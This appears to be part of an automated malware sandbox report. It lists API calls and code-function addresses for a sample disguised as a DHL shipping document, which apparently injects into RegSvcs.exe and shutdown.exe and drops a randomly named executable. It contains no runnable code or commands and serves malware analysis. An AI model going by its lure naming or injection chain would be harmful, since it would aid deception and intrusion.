Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42CA0 NtQueryInformationToken,LdrInitializeThunk, 20_2_03A42CA0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42C60 NtCreateKey,LdrInitializeThunk, 20_2_03A42C60
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42C70 NtFreeVirtualMemory,LdrInitializeThunk, 20_2_03A42C70
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A435C0 NtCreateMutant,LdrInitializeThunk, 20_2_03A435C0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A439B0 NtGetContextThread,LdrInitializeThunk, 20_2_03A439B0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42B80 NtQueryInformationFile, 20_2_03A42B80
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42AB0 NtWaitForSingleObject, 20_2_03A42AB0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42FA0 NtQuerySection, 20_2_03A42FA0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42F90 NtProtectVirtualMemory, 20_2_03A42F90
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42F60 NtCreateProcessEx, 20_2_03A42F60
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42EA0 NtAdjustPrivilegesToken, 20_2_03A42EA0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42E30 NtWriteVirtualMemory, 20_2_03A42E30
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42DB0 NtEnumerateKey, 20_2_03A42DB0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42D00 NtSetInformationFile, 20_2_03A42D00
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42CF0 NtOpenProcess, 20_2_03A42CF0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42CC0 NtQueryVirtualMemory, 20_2_03A42CC0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A42C00 NtQueryInformationProcess, 20_2_03A42C00
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A43090 NtSetValueKey, 20_2_03A43090
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A43010 NtOpenDirectoryObject, 20_2_03A43010
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A43D10 NtOpenProcessToken, 20_2_03A43D10
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A43D70 NtOpenThread, 20_2_03A43D70
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_032A7720 NtReadFile, 20_2_032A7720
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_032A75C0 NtCreateFile, 20_2_032A75C0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_032A79E0 NtAllocateVirtualMemory, 20_2_032A79E0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_032A7800 NtDeleteFile, 20_2_032A7800
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_032A7890 NtClose, 20_2_032A7890
Detected potential crypto function
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_0108D93C 0_2_0108D93C
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04E40508 0_2_04E40508
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04E40518 0_2_04E40518
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04EFC798 0_2_04EFC798
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04EFEDA0 0_2_04EFEDA0
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04EFD7E0 0_2_04EFD7E0
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04EFD7C0 0_2_04EFD7C0
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_04EFED90 0_2_04EFED90
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_05549F78 0_2_05549F78
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_0554C590 0_2_0554C590
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_055464C8 0_2_055464C8
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_055464B8 0_2_055464B8
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_05546090 0_2_05546090
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_05546080 0_2_05546080
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_05547D30 0_2_05547D30
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_05547D21 0_2_05547D21
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_05545C58 0_2_05545C58
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_05545820 0_2_05545820
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_0732BA30 0_2_0732BA30
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_07322106 0_2_07322106
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_07322C38 0_2_07322C38
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_073238F8 0_2_073238F8
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_07324CE8 0_2_07324CE8
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_07325070 0_2_07325070
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_07325063 0_2_07325063
Source: C:\Users\user\Desktop\Dhl-Awb 0865252 copy.exe Code function: 0_2_07324CD7 0_2_07324CD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0040F8EA 8_2_0040F8EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0040F8F3 8_2_0040F8F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00401100 8_2_00401100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0042D123 8_2_0042D123
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00403210 8_2_00403210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0041622E 8_2_0041622E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00416233 8_2_00416233
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_004012B0 8_2_004012B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0040FB13 8_2_0040FB13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0040DB93 8_2_0040DB93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_00402BA0 8_2_00402BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_004025D3 8_2_004025D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_004025E0 8_2_004025E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_004045A4 8_2_004045A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E01AA 8_2_018E01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D81CC 8_2_018D81CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810100 8_2_01810100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018BA118 8_2_018BA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A8158 8_2_018A8158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B2000 8_2_018B2000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E03E6 8_2_018E03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182E3F0 8_2_0182E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DA352 8_2_018DA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018A02C0 8_2_018A02C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018C0274 8_2_018C0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018E0591 8_2_018E0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820535 8_2_01820535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018CE4F6 8_2_018CE4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D2446 8_2_018D2446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181C7C0 8_2_0181C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01844750 8_2_01844750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820770 8_2_01820770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183C6E0 8_2_0183C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018229A0 8_2_018229A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018EA9A6 8_2_018EA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01836962 8_2_01836962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018068B8 8_2_018068B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0184E8F0 8_2_0184E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01822840 8_2_01822840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182A840 8_2_0182A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D6BD7 8_2_018D6BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DAB40 8_2_018DAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181EA80 8_2_0181EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01838DBF 8_2_01838DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0181ADE0 8_2_0181ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182AD00 8_2_0182AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018C0CB5 8_2_018C0CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01810CF2 8_2_01810CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820C00 8_2_01820C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0189EFA0 8_2_0189EFA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01812FC8 8_2_01812FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182CFE0 8_2_0182CFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01862F28 8_2_01862F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01840F30 8_2_01840F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01894F40 8_2_01894F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01832E90 8_2_01832E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DCE93 8_2_018DCE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DEEDB 8_2_018DEEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DEE26 8_2_018DEE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01820E59 8_2_01820E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0182B1B0 8_2_0182B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018EB16B 8_2_018EB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0185516C 8_2_0185516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180F172 8_2_0180F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018CF0CC 8_2_018CF0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018270C0 8_2_018270C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D70E9 8_2_018D70E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DF0E0 8_2_018DF0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0186739A 8_2_0186739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D132D 8_2_018D132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0180D34C 8_2_0180D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018252A0 8_2_018252A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183B2C0 8_2_0183B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018C12ED 8_2_018C12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018BD5B0 8_2_018BD5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D7571 8_2_018D7571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DF43F 8_2_018DF43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01811460 8_2_01811460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DF7B0 8_2_018DF7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D16CC 8_2_018D16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018B5910 8_2_018B5910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01829950 8_2_01829950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183B950 8_2_0183B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018238E0 8_2_018238E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0188D800 8_2_0188D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183FB80 8_2_0183FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01895BF0 8_2_01895BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0185DBF9 8_2_0185DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DFB76 8_2_018DFB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01865AA0 8_2_01865AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018BDAAC 8_2_018BDAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018CDAC6 8_2_018CDAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DFA49 8_2_018DFA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D7A46 8_2_018D7A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01893A6C 8_2_01893A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_0183FDC0 8_2_0183FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01823D40 8_2_01823D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D1D5A 8_2_018D1D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018D7D73 8_2_018D7D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DFCF2 8_2_018DFCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01899C32 8_2_01899C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01821F92 8_2_01821F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DFFB1 8_2_018DFFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_018DFF09 8_2_018DFF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 8_2_01829EB0 8_2_01829EB0
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063C8239 18_2_063C8239
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063C9FED 18_2_063C9FED
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063C9FE4 18_2_063C9FE4
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063BEC9E 18_2_063BEC9E
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063CA20D 18_2_063CA20D
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063C828D 18_2_063C828D
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063E781D 18_2_063E781D
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063D092D 18_2_063D092D
Source: C:\Program Files (x86)\XBgKvIQFrovHTutzJcerXFcNqqxMkcgiDCsgSTMXpLyxUKpNiZmgrSMdfGcyOirzOmMKAdrrpZNOwpWk\kyiMYcMGDSlDbpzjCWbWMcLM.exe Code function: 18_2_063D0928 18_2_063D0928
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AD03E6 20_2_03AD03E6
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A1E3F0 20_2_03A1E3F0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACA352 20_2_03ACA352
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A902C0 20_2_03A902C0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AB0274 20_2_03AB0274
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AD01AA 20_2_03AD01AA
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC41A2 20_2_03AC41A2
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC81CC 20_2_03AC81CC
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A00100 20_2_03A00100
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AAA118 20_2_03AAA118
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A98158 20_2_03A98158
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AA2000 20_2_03AA2000
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A0C7C0 20_2_03A0C7C0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A10770 20_2_03A10770
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A34750 20_2_03A34750
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A2C6E0 20_2_03A2C6E0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AD0591 20_2_03AD0591
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A10535 20_2_03A10535
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ABE4F6 20_2_03ABE4F6
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AB4420 20_2_03AB4420
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC2446 20_2_03AC2446
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC6BD7 20_2_03AC6BD7
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACAB40 20_2_03ACAB40
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A0EA80 20_2_03A0EA80
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A129A0 20_2_03A129A0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ADA9A6 20_2_03ADA9A6
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A26962 20_2_03A26962
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039F68B8 20_2_039F68B8
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A3E8F0 20_2_03A3E8F0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A1A840 20_2_03A1A840
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A12840 20_2_03A12840
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A8EFA0 20_2_03A8EFA0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A1CFE0 20_2_03A1CFE0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A02FC8 20_2_03A02FC8
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A52F28 20_2_03A52F28
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A30F30 20_2_03A30F30
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AB2F30 20_2_03AB2F30
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A84F40 20_2_03A84F40
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A22E90 20_2_03A22E90
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACCE93 20_2_03ACCE93
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACEEDB 20_2_03ACEEDB
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACEE26 20_2_03ACEE26
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A10E59 20_2_03A10E59
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A28DBF 20_2_03A28DBF
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A0ADE0 20_2_03A0ADE0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A1AD00 20_2_03A1AD00
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AACD1F 20_2_03AACD1F
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AB0CB5 20_2_03AB0CB5
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A00CF2 20_2_03A00CF2
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A10C00 20_2_03A10C00
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A5739A 20_2_03A5739A
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC132D 20_2_03AC132D
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039FD34C 20_2_039FD34C
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A152A0 20_2_03A152A0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AB12ED 20_2_03AB12ED
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A2B2C0 20_2_03A2B2C0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A1B1B0 20_2_03A1B1B0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ADB16B 20_2_03ADB16B
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A4516C 20_2_03A4516C
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_039FF172 20_2_039FF172
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC70E9 20_2_03AC70E9
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACF0E0 20_2_03ACF0E0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A170C0 20_2_03A170C0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ABF0CC 20_2_03ABF0CC
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACF7B0 20_2_03ACF7B0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC16CC 20_2_03AC16CC
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A55630 20_2_03A55630
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AAD5B0 20_2_03AAD5B0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AD95C3 20_2_03AD95C3
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03AC7571 20_2_03AC7571
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03ACF43F 20_2_03ACF43F
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A01460 20_2_03A01460
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A2FB80 20_2_03A2FB80
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A85BF0 20_2_03A85BF0
Source: C:\Windows\SysWOW64\shutdown.exe Code function: 20_2_03A4DBF9 20_2_03A4DBF9
